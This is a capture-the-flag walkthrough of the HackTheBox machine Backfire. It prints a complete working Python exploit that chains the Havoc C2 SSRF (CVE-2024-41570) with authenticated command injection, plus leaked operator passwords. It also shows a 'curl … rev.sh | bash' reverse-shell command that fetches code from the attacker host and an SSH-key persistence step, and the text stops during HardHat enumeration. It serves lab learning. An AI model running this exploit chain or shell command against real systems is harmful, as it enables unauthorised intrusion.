Backfire
Synopsis
Backfire is a medium linux machine created by hyperreality and chebuya. The machine is using the havoc c2 framework which is vulnerable to CVE-2024-41570 SSRF and Auth RCE, by combining both the exploit we get the shell as ilya. The another c2 framework hardhat is running in port 7096 which is vulnerable to authentication bypass. By exploiting the hardhat authentication bypass we can access the hardhat. The hardhat has a built in terminal which can be used to gain shell as sergej. The sergej user has a privilege to run the iptables
and iptables-save
with sudo
privileges which can be used to further privilege escalate as a root.
Linux
Medium
30
18-01-2025
07-06-2025
Enumeration
Nmap
Started the nmap
scan and found the ssh, https and http services running.
nmap -Pn -sC -sV --min-rate=500 10.10.11.49
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-18 17:47 EST
Nmap scan report for 10.10.11.49
Host is up (0.55s latency).
Not shown: 984 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
| ssh-hostkey:
| 256 7d:6b:ba:b6:25:48:77:ac:3a:a2:ef:ae:f5:1d:98:c4 (ECDSA)
|_ 256 be:f3:27:9e:c6:d6:29:27:7b:98:18:91:4e:97:25:99 (ED25519)
443/tcp open ssl/http nginx 1.22.1
| tls-alpn:
| http/1.1
| http/1.0
|_ http/0.9
|_http-server-header: nginx/1.22.1
| ssl-cert: Subject: commonName=127.0.0.1/organizationName=corp/stateOrProvinceName=Arizona/countryName=US
| Subject Alternative Name: IP Address:127.0.0.1
| Not valid before: 2024-12-30T19:01:22
|_Not valid after: 2027-12-30T19:01:22
|_http-title: 400 The plain HTTP request was sent to HTTPS port
|_ssl-date: TLS randomness does not represent time
465/tcp filtered smtps
625/tcp filtered apple-xsrvr-admin
1077/tcp filtered imgames
1236/tcp filtered bvcontrol
1580/tcp filtered tn-tl-r1
2021/tcp filtered servexec
3889/tcp filtered dandv-tester
6346/tcp filtered gnutella
8000/tcp open http nginx 1.22.1
|_http-open-proxy: Proxy might be redirecting requests
| http-ls: Volume /
| SIZE TIME FILENAME
| 1559 17-Dec-2024 11:31 disable_tls.patch
| 875 17-Dec-2024 11:34 havoc.yaotl
|_
|_http-server-header: nginx/1.22.1
|_http-title: Index of /
8088/tcp filtered radan-http
8873/tcp filtered dxspider
12345/tcp filtered netbus
16113/tcp filtered unknown
50003/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 65.07 seconds
https - 443
The 404 not found page is shown, while visiting the website.

The whatweb
shows the uncommon x-havoc header.
whatweb -v https://10.10.11.49
WhatWeb report for https://10.10.11.49
Status : 404 Not Found
Title : 404 Not Found
IP : 10.10.11.49
Country : RESERVED, ZZ
Summary : HTTPServer[nginx/1.22.1], nginx[1.22.1], UncommonHeaders[x-havoc]
Detected Plugins:
[ HTTPServer ]
HTTP server header string. This plugin also attempts to
identify the operating system from the server header.
String : nginx/1.22.1 (from server string)
[ UncommonHeaders ]
Uncommon HTTP server headers. The blacklist includes all
the standard headers and many non standard but common ones.
Interesting but fairly common headers should have their own
plugins, eg. x-powered-by, server and x-aspnet-version.
Info about headers can be found at www.http-stats.com
String : x-havoc (from headers)
[ nginx ]
Nginx (Engine-X) is a free, open-source, high-performance
HTTP server and reverse proxy, as well as an IMAP/POP3
proxy server.
Version : 1.22.1
Website : http://nginx.net/
HTTP Headers:
HTTP/1.1 404 Not Found
Server: nginx/1.22.1
Date: Thu, 23 Jan 2025 01:50:55 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: close
X-Havoc: true
Content-Encoding: gzip
http - 8000
The disable_tls.patch and havoc.yaotl files are present while visiting the website.

File - disable_tls.patch
The file shows us that the havoc
is running and the tls for websocket has been disabled.
Disable TLS for Websocket management port 40056, so I can prove that
sergej is not doing any work
Management port only allows local connections (we use ssh forwarding) so
this will not compromize our teamserver
diff --git a/client/src/Havoc/Connector.cc b/client/src/Havoc/Connector.cc
index abdf1b5..6be76fb 100644
--- a/client/src/Havoc/Connector.cc
+++ b/client/src/Havoc/Connector.cc
@@ -8,12 +8,11 @@ Connector::Connector( Util::ConnectionInfo* ConnectionInfo )
{
Teamserver = ConnectionInfo;
Socket = new QWebSocket();
- auto Server = "wss://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/";
+ auto Server = "ws://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/";
auto SslConf = Socket->sslConfiguration();
/* ignore annoying SSL errors */
SslConf.setPeerVerifyMode( QSslSocket::VerifyNone );
- Socket->setSslConfiguration( SslConf );
Socket->ignoreSslErrors();
QObject::connect( Socket, &QWebSocket::binaryMessageReceived, this, [&]( const QByteArray& Message )
diff --git a/teamserver/cmd/server/teamserver.go b/teamserver/cmd/server/teamserver.go
index 9d1c21f..59d350d 100644
--- a/teamserver/cmd/server/teamserver.go
+++ b/teamserver/cmd/server/teamserver.go
@@ -151,7 +151,7 @@ func (t *Teamserver) Start() {
}
// start the teamserver
- if err = t.Server.Engine.RunTLS(Host+":"+Port, certPath, keyPath); err != nil {
+ if err = t.Server.Engine.Run(Host+":"+Port); err != nil {
logger.Error("Failed to start websocket: " + err.Error())
}
Changes
The tls is disabled by changing
wss://
intows://
on port 40056. So weThe
setSslConfiguration( SslConf )
function is removed for ignoring SSL errors.The certPath and keyPath args are removed while starting the Teamserver.
File - havoc.yaotl
The .yaotl file is a profiles used for havoc C2 which contains all the configuration for havoc.
Teamserver {
Host = "127.0.0.1"
Port = 40056
Build {
Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc"
Compiler86 = "data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc"
Nasm = "/usr/bin/nasm"
}
}
Operators {
user "ilya" {
Password = "CobaltStr1keSuckz!"
}
user "sergej" {
Password = "1w4nt2sw1tch2h4rdh4tc2"
}
}
Demon {
Sleep = 2
Jitter = 15
TrustXForwardedFor = false
Injection {
Spawn64 = "C:\\Windows\\System32\\notepad.exe"
Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
}
}
Listeners {
Http {
Name = "Demon Listener"
Hosts = [
"backfire.htb"
]
HostBind = "127.0.0.1"
PortBind = 8443
PortConn = 8443
HostRotation = "round-robin"
Secure = true
}
}
Information
Teamserver Configuration
Host: 127.0.0.1
Port: 40056.
The compiler used for build are:
Compiler64: data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc
Compiler86: data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc
Nasm: /usr/bin/nasm
Operators Account
ilya: CobaltStr1keSuckz!
sergej: 1w4nt2sw1tch2h4rdh4tc2
Demon Configuration
The Sleep of 2 seconds is used and Jitter of 15 seconds.
The notepad.exe is set as default process for both x64 and x86.
Listeners Configuration
Host: backfire.htb
HostBind: 127.0.0.1
Listens on port 8443 using HTTPS.
Vulnerabilities
CVE-2024-41570 - Havoc-C2-SSRF
The machine creator Chebuya has created the PoC blog post and exploit about the CVE-2024-41570.
The vulnerability allows us to spoof demon agent registrations and check-ins to open a TCP socket to the teamserver, enabling attackers to read and write data. The PoC registers a fake agent, open a socket, write data and read responses.
Executing the PoC
Create the python virtual environment and install the required libraries, then execute the PoC.
python3 -m venv .venv
source .venv/bin/activate
python3 exploit.py -i 10.10.16.28 -p 8443 -t "https://10.10.11.49" -ip 127.0.0.1
[***] Trying to register agent...
[***] Success!
[***] Trying to open socket on the teamserver...
[***] Success!
[***] Trying to write to the socket
[***] Success!
[***] Trying to poll teamserver for socket output...
[***] Read socket output successfully!
nc -lvnp 8443
Listening on 0.0.0.0 8443
Connection received on 10.10.11.49 43658
GET /vulnerable HTTP/1.1
Host: www.example.com
Connection: close
Information Security - Havoc Auth RCE
The Include Security Team has released proof-of-concepts (PoCs) for remote code execution (RCE) vulnerabilities targeting open-source C2 servers. The details are published in their blog post. They have also created the github repository which contains the python script for exploitation. The github repository can be found here. The PoC requires credentials which is obtained through havoc.yaotl.
import hashlib
import json
import ssl
from websocket import create_connection # pip install websocket-client
HOSTNAME = "192.168.167.129"
PORT = 40056
USER = "Neo"
PASSWORD = "password1234"
ws = create_connection(f"wss://{HOSTNAME}:{PORT}/havoc/",
sslopt={"cert_reqs": ssl.CERT_NONE, "check_hostname": False})
# Authenticate to teamserver
payload = {"Body": {"Info": {"Password": hashlib.sha3_256(PASSWORD.encode()).hexdigest(), "User": USER}, "SubEvent": 3}, "Head": {"Event": 1, "OneTime": "", "Time": "18:40:17", "User": USER}}
ws.send(json.dumps(payload))
print(json.loads(ws.recv()))
# Create a listener to build demon agent for
payload = {"Body":{"Info":{"Headers":"","HostBind":"0.0.0.0","HostHeader":"","HostRotation":"round-robin","Hosts":"0.0.0.0","Name":"abc","PortBind":"443","PortConn":"443","Protocol":"Https","Proxy Enabled":"false","Secure":"true","Status":"online","Uris":"","UserAgent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"},"SubEvent":1},"Head":{"Event":2,"OneTime":"","Time":"08:39:18","User": USER}}
ws.send(json.dumps(payload))
# Create a psuedo shell with RCE loop
while True:
cmd = input("$ ")
injection = """ \\\\\\\" -mbla; """ + cmd + """ 1>&2 && false #"""
# Command injection in demon compilation command
payload = {"Body": {"Info": {"AgentType": "Demon", "Arch": "x64", "Config": "{\n \"Amsi/Etw Patch\": \"None\",\n \"Indirect Syscall\": false,\n \"Injection\": {\n \"Alloc\": \"Native/Syscall\",\n \"Execute\": \"Native/Syscall\",\n \"Spawn32\": \"C:\\\\Windows\\\\SysWOW64\\\\notepad.exe\",\n \"Spawn64\": \"C:\\\\Windows\\\\System32\\\\notepad.exe\"\n },\n \"Jitter\": \"0\",\n \"Proxy Loading\": \"None (LdrLoadDll)\",\n \"Service Name\":\"" + injection + "\",\n \"Sleep\": \"2\",\n \"Sleep Jmp Gadget\": \"None\",\n \"Sleep Technique\": \"WaitForSingleObjectEx\",\n \"Stack Duplication\": false\n}\n", "Format": "Windows Service Exe", "Listener": "abc"}, "SubEvent": 2}, "Head": {
"Event": 5, "OneTime": "true", "Time": "18:39:04", "User": USER}}
ws.send(json.dumps(payload))
while True:
bla = ws.recv()
if b"compile output" in bla:
bla2 = json.loads(bla)
# print(bla2)
out = bla2["Body"]["Info"]["Message"].split("\n")
# print(out)
for line in out[1:]:
print(line)
break
ws.close()
The PoC doesn't work from our local machine. We have to interact with the havoc through agents. The CVE-2024-41570 vulnerability can be used to interact with the havoc teamserver.
Foothold
By combining both the SSRF and RCE vulnerability we can interact with havoc teamserver and execute the command in host system.
Shell - ilya [ SSRF + Auth RCE Exploit ]
Combining both exploit's script with some modification for executing the command.
import hashlib
import json
import os
import binascii
import random
import requests
import argparse
import urllib3
urllib3.disable_warnings()
from Crypto.Cipher import AES
from Crypto.Util import Counter
key_bytes = 32
def decrypt(key, iv, ciphertext):
if len(key) <= key_bytes:
for _ in range(len(key), key_bytes):
key += b"0"
assert len(key) == key_bytes
iv_int = int(binascii.hexlify(iv), 16)
ctr = Counter.new(AES.block_size * 8, initial_value=iv_int)
aes = AES.new(key, AES.MODE_CTR, counter=ctr)
plaintext = aes.decrypt(ciphertext)
return plaintext
def int_to_bytes(value, length=4, byteorder="big"):
return value.to_bytes(length, byteorder)
def encrypt(key, iv, plaintext):
if len(key) <= key_bytes:
for x in range(len(key),key_bytes):
key = key + b"0"
assert len(key) == key_bytes
iv_int = int(binascii.hexlify(iv), 16)
ctr = Counter.new(AES.block_size * 8, initial_value=iv_int)
aes = AES.new(key, AES.MODE_CTR, counter=ctr)
ciphertext = aes.encrypt(plaintext)
return ciphertext
def register_agent(hostname, username, domain_name, internal_ip, process_name, process_id):
# DEMON_INITIALIZE / 99
command = b"\x00\x00\x00\x63"
request_id = b"\x00\x00\x00\x01"
demon_id = agent_id
hostname_length = int_to_bytes(len(hostname))
username_length = int_to_bytes(len(username))
domain_name_length = int_to_bytes(len(domain_name))
internal_ip_length = int_to_bytes(len(internal_ip))
process_name_length = int_to_bytes(len(process_name) - 6)
data = b"\xab" * 100
header_data = command + request_id + AES_Key + AES_IV + demon_id + hostname_length + hostname + username_length + username + domain_name_length + domain_name + internal_ip_length + internal_ip + process_name_length + process_name + process_id + data
size = 12 + len(header_data)
size_bytes = size.to_bytes(4, 'big')
agent_header = size_bytes + magic + agent_id
print("[***] Trying to register agent...")
r = requests.post(teamserver_listener_url, data=agent_header + header_data, headers=headers, verify=False)
if r.status_code == 200:
print("[***] Success!")
else:
print(f"[!!!] Failed to register agent - {r.status_code} {r.text}")
def open_socket(socket_id, target_address, target_port):
# COMMAND_SOCKET / 2540
command = b"\x00\x00\x09\xec"
request_id = b"\x00\x00\x00\x02"
# SOCKET_COMMAND_OPEN / 16
subcommand = b"\x00\x00\x00\x10"
sub_request_id = b"\x00\x00\x00\x03"
local_addr = b"\x22\x22\x22\x22"
local_port = b"\x33\x33\x33\x33"
forward_addr = b""
for octet in target_address.split(".")[::-1]:
forward_addr += int_to_bytes(int(octet), length=1)
forward_port = int_to_bytes(target_port)
package = subcommand+socket_id+local_addr+local_port+forward_addr+forward_port
package_size = int_to_bytes(len(package) + 4)
header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package)
size = 12 + len(header_data)
size_bytes = size.to_bytes(4, 'big')
agent_header = size_bytes + magic + agent_id
data = agent_header + header_data
print("[***] Trying to open socket on the teamserver...")
r = requests.post(teamserver_listener_url, data=data, headers=headers, verify=False)
if r.status_code == 200:
print("[***] Success!")
else:
print(f"[!!!] Failed to open socket on teamserver - {r.status_code} {r.text}")
def write_socket(socket_id, data):
# COMMAND_SOCKET / 2540
command = b"\x00\x00\x09\xec"
request_id = b"\x00\x00\x00\x08"
# SOCKET_COMMAND_READ / 11
subcommand = b"\x00\x00\x00\x11"
sub_request_id = b"\x00\x00\x00\xa1"
# SOCKET_TYPE_CLIENT / 3
socket_type = b"\x00\x00\x00\x03"
success = b"\x00\x00\x00\x01"
data_length = int_to_bytes(len(data))
package = subcommand+socket_id+socket_type+success+data_length+data
package_size = int_to_bytes(len(package) + 4)
header_data = command + request_id + encrypt(AES_Key, AES_IV, package_size + package)
size = 12 + len(header_data)
size_bytes = size.to_bytes(4, 'big')
agent_header = size_bytes + magic + agent_id
post_data = agent_header + header_data
print("[***] Trying to write to the socket")
r = requests.post(teamserver_listener_url, data=post_data, headers=headers, verify=False)
if r.status_code == 200:
print("[***] Success!")
else:
print(f"[!!!] Failed to write data to the socket - {r.status_code} {r.text}")
def read_socket(socket_id):
# COMMAND_GET_JOB / 1
command = b"\x00\x00\x00\x01"
request_id = b"\x00\x00\x00\x09"
header_data = command + request_id
size = 12 + len(header_data)
size_bytes = size.to_bytes(4, 'big')
agent_header = size_bytes + magic + agent_id
data = agent_header + header_data
print("[***] Trying to poll teamserver for socket output...")
r = requests.post(teamserver_listener_url, data=data, headers=headers, verify=False)
if r.status_code == 200:
print("[***] Read socket output successfully!")
else:
print(f"[!!!] Failed to read socket output - {r.status_code} {r.text}")
return ""
command_id = int.from_bytes(r.content[0:4], "little")
request_id = int.from_bytes(r.content[4:8], "little")
package_size = int.from_bytes(r.content[8:12], "little")
enc_package = r.content[12:]
return decrypt(AES_Key, AES_IV, enc_package)[12:]
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", help="The listener target in URL format", required=True)
parser.add_argument("-i", "--ip", help="The IP to open the socket with", required=True)
parser.add_argument("-p", "--port", help="The port to open the socket with", required=True)
parser.add_argument("-A", "--user-agent", help="The User-Agent for the spoofed agent", default="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36")
parser.add_argument("-H", "--hostname", help="The hostname for the spoofed agent", default="DESKTOP-7F61JT1")
parser.add_argument("-u", "--username", help="The username for the spoofed agent", default="Administrator")
parser.add_argument("-d", "--domain-name", help="The domain name for the spoofed agent", default="ECORP")
parser.add_argument("-n", "--process-name", help="The process name for the spoofed agent", default="msedge.exe")
parser.add_argument("-ip", "--internal-ip", help="The internal ip for the spoofed agent", default="10.1.33.7")
parser.add_argument("-c", "--cmd", help="The command for RCE", default="id")
args = parser.parse_args()
# 0xDEADBEEF
magic = b"\xde\xad\xbe\xef"
teamserver_listener_url = args.target
headers = {
"User-Agent": args.user_agent
}
agent_id = int_to_bytes(random.randint(100000, 1000000))
AES_Key = b"\x00" * 32
AES_IV = b"\x00" * 16
hostname = bytes(args.hostname, encoding="utf-8")
username = bytes(args.username, encoding="utf-8")
domain_name = bytes(args.domain_name, encoding="utf-8")
internal_ip = bytes(args.internal_ip, encoding="utf-8")
process_name = args.process_name.encode("utf-16le")
process_id = int_to_bytes(random.randint(1000, 5000))
register_agent(hostname, username, domain_name, internal_ip, process_name, process_id)
socket_id = b"\x11\x11\x11\x11"
open_socket(socket_id, args.ip, int(args.port))
# Constants
HOST = "127.0.0.1"
PORT = 40056
USER = "ilya"
PASSWORD = "CobaltStr1keSuckz!"
# Create a websocket
request = (
f"GET /havoc/ HTTP/1.1\r\n"
f"Host: {HOST}:{PORT}\r\n"
f"Upgrade: websocket\r\n"
f"Connection: Upgrade\r\n"
f"Sec-WebSocket-Key: 5NUvQyzkv9bpu376gKd2Lg==\r\n"
f"Sec-WebSocket-Version: 13\r\n\r\n"
).encode()
write_socket(socket_id, request)
print(read_socket(socket_id).decode())
# Function to build WebSocket frame
def build_websocket_frame(payload):
try:
payload_bytes = payload.encode("utf-8")
frame = bytearray()
frame.append(0x81)
payload_length = len(payload_bytes)
if payload_length <= 125:
frame.append(0x80 | payload_length)
elif payload_length <= 65535:
frame.append(0x80 | 126)
frame.extend(payload_length.to_bytes(2, byteorder="big"))
else:
frame.append(0x80 | 127)
frame.extend(payload_length.to_bytes(8, byteorder="big"))
masking_key = os.urandom(4)
frame.extend(masking_key)
masked_payload = bytearray(byte ^ masking_key[i % 4] for i, byte in enumerate(payload_bytes))
frame.extend(masked_payload)
return frame
except Exception as e:
print(f"[!!!] Failed to build WebSocket frame: {e}")
return None
# Authenticate to the server
hashed_password = hashlib.sha3_256(PASSWORD.encode()).hexdigest()
payload = {
"Body": {
"Info": {
"Password": hashed_password,
"User": USER,
},
"SubEvent": 3,
},
"Head": {
"Event": 1,
"OneTime": "",
"Time": "18:40:17",
"User": USER,
}
}
payload_json = json.dumps(payload)
print(f"[DEBUG] Sent payload for authenticate:\n{payload_json}")
ws_frame = build_websocket_frame(payload_json)
write_socket(socket_id, ws_frame)
print(read_socket(socket_id).decode())
# Create a listener to build demon agent
payload = {
"Body": {
"Info": {
"Headers": "",
"HostBind": "0.0.0.0",
"HostHeader": "",
"HostRotation": "round-robin",
"Hosts": "0.0.0.0",
"Name": "abc",
"PortBind": "443",
"PortConn": "443",
"Protocol": "Https",
"Proxy Enabled": "false",
"Secure": "true",
"Status": "online",
"Uris": "",
"UserAgent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36",
},
"SubEvent": 1,
},
"Head": {
"Event": 2,
"OneTime": "",
"Time": "08:39:18",
"User": USER,
}
}
payload_json = json.dumps(payload)
print(f"[DEBUG] Sent payload for creating a listener:\n{payload_json}")
ws_frame = build_websocket_frame(payload_json)
write_socket(socket_id, ws_frame)
print(read_socket(socket_id).decode())
# RCE
cmd = args.cmd
print("Command for RCE: ", cmd)
injection = """ \\\\\\\" -mbla; """ + cmd + """ 1>&2 && false #"""
payload = {
"Body": {
"Info": {
"AgentType": "Demon",
"Arch": "x64",
"Config": (
"{\n"
" \"Amsi/Etw Patch\": \"None\",\n"
" \"Indirect Syscall\": false,\n"
" \"Injection\": {\n"
" \"Alloc\": \"Native/Syscall\",\n"
" \"Execute\": \"Native/Syscall\",\n"
" \"Spawn32\": \"C:\\\\Windows\\\\SysWOW64\\\\notepad.exe\",\n"
" \"Spawn64\": \"C:\\\\Windows\\\\System32\\\\notepad.exe\"\n"
" },\n"
" \"Jitter\": \"0\",\n"
" \"Proxy Loading\": \"None (LdrLoadDll)\",\n"
f" \"Service Name\": \"{injection}\",\n"
" \"Sleep\": \"2\",\n"
" \"Sleep Jmp Gadget\": \"None\",\n"
" \"Sleep Technique\": \"WaitForSingleObjectEx\",\n"
" \"Stack Duplication\": false\n"
"}\n"
),
"Format": "Windows Service Exe",
"Listener": "abc"
},
"SubEvent": 2
},
"Head": {
"Event": 5,
"OneTime": "true",
"Time": "18:39:04",
"User": USER
}
}
payload_json = json.dumps(payload)
ws_frame = build_websocket_frame(payload_json)
write_socket(socket_id, ws_frame)
print(read_socket(socket_id).decode())
Execute the havoc_exp.py
python3 havoc_exp.py -i 127.0.0.1 -p 40056 -t "https://backfire.htb" -ip 127.0.0.1 --cmd "curl http://10.10.16.6:8000/rev.sh | bash"
[***] Trying to register agent...
[***] Success!
[***] Trying to open socket on the teamserver...
[***] Success!
[***] Trying to write to the socket
[***] Success!
[***] Trying to poll teamserver for socket output...
[***] Read socket output successfully!
[DEBUG] Sent payload for authenticate:
{"Body": {"Info": {"Password": "2e65bab481bc3484332f48c771749afc052adc8383bef70fd0feeb71ce2d657b", "User": "ilya"}, "SubEvent": 3}, "Head": {"Event": 1, "OneTime": "", "Time": "18:40:17", "User": "ilya"}}
[***] Trying to write to the socket
[***] Success!
[***] Trying to poll teamserver for socket output...
[***] Read socket output successfully!
[DEBUG] Sent payload for creating a listener:
{"Body": {"Info": {"Headers": "", "HostBind": "0.0.0.0", "HostHeader": "", "HostRotation": "round-robin", "Hosts": "0.0.0.0", "Name": "abc", "PortBind": "443", "PortConn": "443", "Protocol": "Https", "Proxy Enabled": "false", "Secure": "true", "Status": "online", "Uris": "", "UserAgent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"}, "SubEvent": 1}, "Head": {"Event": 2, "OneTime": "", "Time": "08:39:18", "User": "ilya"}}
[***] Trying to write to the socket
[***] Success!
[***] Trying to poll teamserver for socket output...
[***] Read socket output successfully!
Command for RCE: curl http://10.10.16.6:8000/rev.sh | bash
[***] Trying to write to the socket
[***] Success!
[***] Trying to poll teamserver for socket output...
[***] Read socket output successfully!
python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.49 - - [07/Feb/2025 07:54:46] "GET /rev.sh HTTP/1.1" 200 -
nc -lvnp 8443
Listening on 0.0.0.0 8443
Connection received on 10.10.11.49 51906
sh: 0: can't access tty; job control turned off
$ whoami
ilya
$ %
Getting persistent shell - ilya
We can get the persistent shell through ssh
by creating ssh keypair and adding the our public key in ilya's ssh authorized_keys.
Create the ssh keypair
ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/dexter/.ssh/id_rsa): /home/dexter/HTB/Machines/Backfire/id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/dexter/HTB/Machines/Backfire/id_rsa
Your public key has been saved in /home/dexter/HTB/Machines/Backfire/id_rsa.pub
The key fingerprint is:
SHA256:6sYoFLlgsqx48W45tMZ/1EaHnX40qwm+y5zHINMZC0w dexter@parrot
The key's randomart image is:
+---[RSA 3072]----+
| |
| E |
| . o o . |
|o.o o + + o |
|+o o S= * . o |
|..+ . .+ O . o |
|o. = =.. = + + |
|o o X.o .o..= |
| . =.+o. *+ |
+----[SHA256]-----+
Copy the content of id_rsa.pub
Get the shell using the above method. Copy and paste the content of payload.txt file
nc -lvnp 8443
Listening on 0.0.0.0 8443
Connection received on 10.10.11.49 47944
sh: 0: can't access tty; job control turned off
$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC9J2hQFK1/GLd8zx+yAhfaYZ0hkfgkFVXV4kdfxpyTe2vW41s6RgbhtsIila+TjJo37JecPHRF88J6i+0N3PWlTOaWm3/e55xm7aiYBqJDhytcXTuZiHUiSfaDuUy0o9b2Iw4wzf8MI/CQV/M7T05F5UUUmfr3MuIsSDBdsl8+SGG/K6mHxpE4wSa6k9h59tDX7KdTjO3WBQiCgdQJhPyIrFVvifNx7rSKCzT/5RduLL6O10kkd+TxaTTEGWClKqe3xbSueuFvp81BTF376LcKt81FiZVMLk9PhSeqay9gizHzqJirVIBjz15hvu90vARbewmXZ1D+8QRHKPC/7BALhqwvXgVDuH1ZW3hPNKto0aKScFnHVGUaxM6A/WY6+47Jl5RgL4JfzgF+UynrGGlO/C0XaUFnKppByLfwck0aeQErCMgbBxzrndlWffp74p6VXKgHtmzK7U0tCJnAiV1yIm5s01bkMbuEkUYUS67PJePQo+WeCd2TXUalowGSP9M= dexter@parrot" >> /home/ilya/.ssh/authorized_keys
$
Now ssh using the private key
ssh -i id_rsa ilya@10.10.11.49
Linux backfire 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Fri Feb 7 06:59:29 2025 from 10.10.16.6
ilya@backfire:~$
Privilege Escalation
Pillaging - ilya [ user ]
Listing the files and directories reveals the hardhat.txt file which contains message from Sergej.
ilya@backfire:~$ ls
files hardhat.txt Havoc user.txt
ilya@backfire:~$ cat hardhat.txt
Sergej said he installed HardHatC2 for testing and not made any changes to the defaults
I hope he prefers Havoc bcoz I don't wanna learn another C2 framework, also Go > C#
The netstat
reveals the two ports 5000 and 7096.
ilya@backfire:~$ netstat -tlnp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:8000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:40056 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8443 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:5000 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:7096 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
Using curl
in both the ports reveals that the 7096 is running hardhat and 5000 is running harhat teamserver with self-signed certificate.
Port 7096
ilya@backfire:~$ curl -k https://localhost:7096
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<base href="/" />
<link rel="stylesheet" href="css/bootstrap/bootstrap.min.css" />
<link href="css/site.css" rel="stylesheet" />
<link href="HardHatC2Client.styles.css" rel="stylesheet" />
<link href=”_content/Blazored.Toast/blazored-toast.css” rel=”stylesheet” />
<link href="_content/Blazored.Toast/blazored-toast.min.css" rel="stylesheet" />
<link href ="css/font-awesome/css/all.css" rel="stylesheet" />
<link href="_content/MudBlazor/MudBlazor.min.css" rel="stylesheet" />
<link href="_content/CodeBeam.MudBlazor.Extensions/MudExtensions.min.css" rel="stylesheet" />
<link href="_content/Blazored.Typeahead/blazored-typeahead.css" rel="stylesheet" />
<link href="_content/Z.Blazor.Diagrams/style.min.css" rel="stylesheet" />
<link href="_content/Z.Blazor.Diagrams/default.styles.min.css" rel="stylesheet" />
<link href="_content/MudBlazor.Markdown/MudBlazor.Markdown.min.css" rel="stylesheet" />
<!--Blazor:{"sequence":1,"type":"server","prerenderId":"6ecedaf649da420183521b1ba7039cb1","descriptor":"CfDJ8KlOusCuhfhCiWAuPiuOh59s7EYY8bsW/dGM0USfNhWkj6gg3JPfl13jyIwlNvTFL2F3P6eaZspFIc1PLXCiIIKy3w/1ymz9Nro8/tCLOgXrtp4rzDnAVIeemgPGMsQJktQO7d9lsonn7xGhji3fesSPKPE18JnRqJuDwY/l9OWcXSTrtMuMs3tGXq\u002B7tJcwtrNb3RwYeayUtEygp2c5JNcySMZzIxzXNYw3Rgw3j9BpbsgWhJyuqi1ciaacvLvzLtX/PwyYLukGAi30vqp5Iz7qMJftcWOcb5ZH36vcr3GZQhDETV0uMYTuRafIv2tPO1E68546teLg2X7mvlPL1hRH5gqCq/yLAbZEHkhT2z7/v8RblIyJY5QKxhj44HhNUQ8HXkrUgkyu/jAeOPEoJ64CRscM5/cd8LZVDhtrYW99"}--><!--Blazor:{"prerenderId":"6ecedaf649da420183521b1ba7039cb1"}-->
</head>
----- SNIP -----
Port: 5000
ilya@backfire:~$ curl -k https://localhost:5000 -v
* Trying 127.0.0.1:5000...
* Connected to localhost (127.0.0.1) port 5000 (#0)
* ALPN: offers h2,http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
* TLSv1.3 (IN), TLS handshake, Certificate (11):
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
* TLSv1.3 (IN), TLS handshake, Finished (20):
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.3 (OUT), TLS handshake, Finished (20):
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
* ALPN: server accepted h2
* Server certificate:
* subject: CN=HardHat TeamServer
* start date: Feb 8 10:50:05 2025 GMT
* expire date: Feb 8 10:50:05 2030 GMT
* issuer: CN=HardHat TeamServer
* SSL certificate verify result: self-signed certificate (18), continuing anyway.
* using HTTP/2
* h2h3 [:method: GET]
* h2h3 [:path: /]
* h2h3 [:scheme: https]
* h2h3 [:authority: localhost:5000]
